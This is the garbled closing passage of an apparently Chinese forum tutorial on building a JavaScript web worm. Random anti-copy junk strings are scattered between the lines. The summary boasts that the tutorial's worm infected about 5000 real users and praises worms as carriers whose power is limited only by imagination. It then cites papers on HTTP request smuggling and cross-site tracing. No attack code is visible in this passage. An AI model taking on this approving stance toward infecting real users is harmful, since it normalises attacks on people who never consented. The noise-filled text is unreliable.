2 `4 w) z/ {5 M. }
! l' t7 n+ r6 Y3 x; H}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
! B% H9 p) K# |1 C- W
4 s; _9 S5 g% R0 l9 v$ }
( G& W- k/ q; ?! P. G
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
/ v3 y6 X. S1 R  L' ~蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
( _6 F5 ~& L7 }6 @' Q6 n1 m操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
& Y5 d1 s: c# o( a/ Q# L5 O( \


9 m0 i$ U/ L; H# S3 r
0 ]6 x! V, z+ q! D
+ V1 L/ D/ a" Z% T) n% o' B8 e
% c- R0 |6 H" N* _$ B. C& v3 d

* E& A7 z0 E) R& n& y1 `  q/ G本文引用文档资料:

- @* L# z) g3 A3 A"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
- O8 d  X# O3 a9 C4 U$ k/ U! ROther XmlHttpRequest tricks (Amit Klein, January 2003)
: D  U. |$ h! V"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/